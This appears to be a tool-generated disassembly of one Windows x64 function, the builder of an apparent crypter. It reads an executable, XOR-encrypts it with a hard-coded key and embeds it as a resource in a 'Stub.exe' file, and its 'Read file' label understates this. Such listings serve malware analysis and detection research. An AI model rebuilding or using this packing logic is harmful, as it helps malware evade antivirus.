Function at 0x14000144c
Capabilities:
Read file on windows

Disassembly:
jmp 0x140003380
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x6b8
lea rdi, [rsp + 0x30]
mov ecx, 0x1a2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x6d0]
mov rax, qword [0x14001f340]
xor rax, rsp
mov qword [rsp + 0x6a0], rax
cmp dword [rsp + 0x6d0], 2
jge 0x1400033cd
xor eax, eax
jmp 0x140003e9b
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x6d8]
mov rax, qword [rcx + rax]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2f0]
mov qword [rsp + 0x310], rax
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x3c], 0x17
mov dword [rsp + 0x40], 4
mov dword [rsp + 0x44], 5
mov dword [rsp + 0x48], 0xea
mov dword [rsp + 0x4c], 0x2e
lea rcx, [rsp + 0x318]
call fcn.140001569
mov qword [rsp + 0x600], rax
lea rcx, [rsp + 0x50]
mov r8, rcx
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x320]
call fcn.1400016b3
lea rcx, [rsp + 0x570]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x600]
mov r8, rax
lea rdx, [rsp + 0x570]
mov rcx, qword [rsp + 0x310]
call fcn.1400011a9
mov qword [rsp + 0x608], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x608]
call fcn.1400010be
lea rdx, [0x140014f10]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ucrtbased.dll_fopen]
mov qword [rsp + 0x58], rax
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ucrtbased.dll_fseek]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ucrtbased.dll_ftell]
mov dword [rsp + 0x68], eax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ucrtbased.dll_rewind]
lea rax, [rsp + 0x330]
mov qword [rsp + 0x350], rax
mov dword [rsp + 0x70], 1
mov dword [rsp + 0x74], 0x17
mov dword [rsp + 0x78], 4
mov dword [rsp + 0x7c], 5
mov dword [rsp + 0x80], 0xea
mov dword [rsp + 0x84], 0x2e
lea rcx, [rsp + 0x358]
call fcn.140001569
mov qword [rsp + 0x610], rax
lea rcx, [rsp + 0x88]
mov r8, rcx
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x360]
call fcn.1400016b3
lea rcx, [rsp + 0x580]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x610]
mov r8, rax
lea rdx, [rsp + 0x580]
mov rcx, qword [rsp + 0x350]
call fcn.1400011a9
mov qword [rsp + 0x618], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x618]
call fcn.1400010be
movsxd rax, dword [rsp + 0x68]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rsp + 0x60], rax
movsxd rax, dword [rsp + 0x68]
mov r9, qword [rsp + 0x58]
mov r8d, 1
mov rdx, rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ucrtbased.dll_fread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ucrtbased.dll_fclose]
lea rax, [rsp + 0x370]
mov qword [rsp + 0x390], rax
mov dword [rsp + 0x90], 1
mov dword [rsp + 0x94], 0x17
mov dword [rsp + 0x98], 4
mov dword [rsp + 0x9c], 5
mov dword [rsp + 0xa0], 0xea
mov dword [rsp + 0xa4], 0x2e
lea rcx, [rsp + 0x398]
call fcn.140001569
mov qword [rsp + 0x620], rax
lea rcx, [rsp + 0xa8]
mov r8, rcx
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x3a0]
call fcn.1400016b3
lea rcx, [rsp + 0x590]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x620]
mov r8, rax
lea rdx, [rsp + 0x590]
mov rcx, qword [rsp + 0x390]
call fcn.1400011a9
mov qword [rsp + 0x628], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x628]
call fcn.1400010be
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x14000370e
mov dword [rsp + 0x630], 1
jmp 0x140003719
mov dword [rsp + 0x630], 0
movzx eax, byte [rsp + 0x630]
mov byte [rsp + 0xc0], al
movzx eax, byte [rsp + 0xc0]
test eax, eax
jne 0x14000373b
xor eax, eax
jmp 0x140003e9b
lea rax, [rsp + 0x3b0]
mov qword [rsp + 0x3d0], rax
mov dword [rsp + 0xc8], 1
mov dword [rsp + 0xcc], 0x17
mov dword [rsp + 0xd0], 4
mov dword [rsp + 0xd4], 5
mov dword [rsp + 0xd8], 0xea
mov dword [rsp + 0xdc], 0x2e
lea rcx, [rsp + 0x3d8]
call fcn.140001569
mov qword [rsp + 0x638], rax
lea rcx, [rsp + 0xe0]
mov r8, rcx
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x3e0]
call fcn.1400016b3
lea rcx, [rsp + 0x5a0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x638]
mov r8, rax
lea rdx, [rsp + 0x5a0]
mov rcx, qword [rsp + 0x3d0]
call fcn.1400011a9
mov qword [rsp + 0x640], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x640]
call fcn.1400010be
movsxd rax, dword [rsp + 0x68]
mov rcx, rax
call fcn.140001299
mov qword [rsp + 0x3f0], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0xe8], rax
mov dword [rsp + 0xf0], 0
jmp 0x140003853
mov eax, dword [rsp + 0xf0]
inc eax
mov dword [rsp + 0xf0], eax
mov eax, dword [rsp + 0x68]
cmp dword [rsp + 0xf0], eax
jge 0x1400038bb
movsxd rax, dword [rsp + 0xf0]
mov rcx, qword [rsp + 0x60]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x648], eax
movsxd rcx, dword [rsp + 0xf0]
xor edx, edx
mov rax, rcx
mov ecx, 8
div rcx
mov rax, rdx
mov rcx, qword [str.123asdfghpqwbealsjdfbl_qkwjebf_qkjwfasdfasfaasdlkfuhasfkpuashfokasughfopaiduwsgfopiug239874t45862toasudfg]
movsx eax, byte [rcx + rax]
mov ecx, dword [rsp + 0x648]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0xf0]
mov rdx, qword [rsp + 0xe8]
mov byte [rdx + rcx], al
jmp 0x140003843
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x22
lea rdx, [0x140014f18]
lea rcx, [rsp + 0x110]
call fcn.1400015e1
nop
lea rax, [rsp + 0x120]
mov r8d, 0x3800
lea rdx, section..data
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov qword [rsp + 0x3f8], rax
mov rax, qword [rsp + 0x3f8]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0x3f8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14000395b
mov dword [rsp + 0x400], 0
lea rcx, [rsp + 0x110]
call fcn.140001573
mov eax, dword [rsp + 0x400]
jmp 0x140003e9b
lea rax, [rsp + 0x408]
mov qword [rsp + 0x428], rax
mov dword [rsp + 0x238], 1
mov dword [rsp + 0x23c], 0x17
mov dword [rsp + 0x240], 4
mov dword [rsp + 0x244], 5
mov dword [rsp + 0x248], 0xea
mov dword [rsp + 0x24c], 0x2e
lea rcx, [rsp + 0x430]
call fcn.140001569
mov qword [rsp + 0x650], rax
lea rcx, [rsp + 0x250]
mov r8, rcx
lea rdx, [rsp + 0x238]
lea rcx, [rsp + 0x438]
call fcn.1400016b3
lea rcx, [rsp + 0x5b0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x650]
mov r8, rax
lea rdx, [rsp + 0x5b0]
mov rcx, qword [rsp + 0x428]
call fcn.1400011a9
mov qword [rsp + 0x658], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x658]
call fcn.1400010be
lea rcx, [rsp + 0x110]
call fcn.1400010c8
xor edx, edx
lea rcx, str.Stub.exe
call qword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov qword [rsp + 0x258], rax
cmp qword [rsp + 0x258], 0
jne 0x140003a84
mov dword [rsp + 0x448], 0
lea rcx, [rsp + 0x110]
call fcn.140001573
mov eax, dword [rsp + 0x448]
jmp 0x140003e9b
lea rax, [rsp + 0x450]
mov qword [rsp + 0x470], rax
mov dword [rsp + 0x268], 1
mov dword [rsp + 0x26c], 0x17
mov dword [rsp + 0x270], 4
mov dword [rsp + 0x274], 5
mov dword [rsp + 0x278], 0xea
mov dword [rsp + 0x27c], 0x2e
lea rcx, [rsp + 0x478]
call fcn.140001569
mov qword [rsp + 0x660], rax
lea rcx, [rsp + 0x280]
mov r8, rcx
lea rdx, [rsp + 0x268]
lea rcx, [rsp + 0x480]
call fcn.1400016b3
lea rcx, [rsp + 0x5c0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x660]
mov r8, rax
lea rdx, [rsp + 0x5c0]
mov rcx, qword [rsp + 0x470]
call fcn.1400011a9
mov qword [rsp + 0x668], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x668]
call fcn.1400010be
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 0x84
lea rdx, [0x140014f40]
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov dword [rsp + 0x260], eax
lea rax, [rsp + 0x490]
mov qword [rsp + 0x4b0], rax
mov dword [rsp + 0x288], 1
mov dword [rsp + 0x28c], 0x17
mov dword [rsp + 0x290], 4
mov dword [rsp + 0x294], 5
mov dword [rsp + 0x298], 0xea
mov dword [rsp + 0x29c], 0x2e
lea rcx, [rsp + 0x4b8]
call fcn.140001569
mov qword [rsp + 0x670], rax
lea rcx, [rsp + 0x2a0]
mov r8, rcx
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0x4c0]
call fcn.1400016b3
lea rcx, [rsp + 0x5d0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x670]
mov r8, rax
lea rdx, [rsp + 0x5d0]
mov rcx, qword [rsp + 0x4b0]
call fcn.1400011a9
mov qword [rsp + 0x678], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x678]
call fcn.1400010be
cmp dword [rsp + 0x260], 0
jne 0x140003c98
mov dword [rsp + 0x4d0], 0
lea rcx, [rsp + 0x110]
call fcn.140001573
mov eax, dword [rsp + 0x4d0]
jmp 0x140003e9b
lea rax, [rsp + 0x4d8]
mov qword [rsp + 0x4f8], rax
mov dword [rsp + 0x2a8], 1
mov dword [rsp + 0x2ac], 0x17
mov dword [rsp + 0x2b0], 4
mov dword [rsp + 0x2b4], 5
mov dword [rsp + 0x2b8], 0xea
mov dword [rsp + 0x2bc], 0x2e
lea rcx, [rsp + 0x500]
call fcn.140001569
mov qword [rsp + 0x680], rax
lea rcx, [rsp + 0x2c0]
mov r8, rcx
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0x508]
call fcn.1400016b3
lea rcx, [rsp + 0x5e0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x680]
mov r8, rax
lea rdx, [rsp + 0x5e0]
mov rcx, qword [rsp + 0x4f8]
call fcn.1400011a9
mov qword [rsp + 0x688], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x688]
call fcn.1400010be
xor edx, edx
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x140003da6
mov dword [rsp + 0x518], 0
lea rcx, [rsp + 0x110]
call fcn.140001573
mov eax, dword [rsp + 0x518]
jmp 0x140003e9b
lea rax, [rsp + 0x520]
mov qword [rsp + 0x540], rax
mov dword [rsp + 0x2c8], 1
mov dword [rsp + 0x2cc], 0x17
mov dword [rsp + 0x2d0], 4
mov dword [rsp + 0x2d4], 5
mov dword [rsp + 0x2d8], 0xea
mov dword [rsp + 0x2dc], 0x2e
lea rcx, [rsp + 0x548]
call fcn.140001569
mov qword [rsp + 0x690], rax
lea rcx, [rsp + 0x2e0]
mov r8, rcx
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0x550]
call fcn.1400016b3
lea rcx, [rsp + 0x5f0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x690]
mov r8, rax
lea rdx, [rsp + 0x5f0]
mov rcx, qword [rsp + 0x540]
call fcn.1400011a9
mov qword [rsp + 0x698], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x698]
call fcn.1400010be
mov dword [rsp + 0x560], 0
lea rcx, [rsp + 0x110]
call fcn.140001573
mov eax, dword [rsp + 0x560]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x140014f90]
call fcn.140001555
mov rax, rdi
mov rcx, qword [rsp + 0x6a0]
xor rcx, rsp
call fcn.1400012f8
add rsp, 0x6b8
pop rdi
pop rsi
ret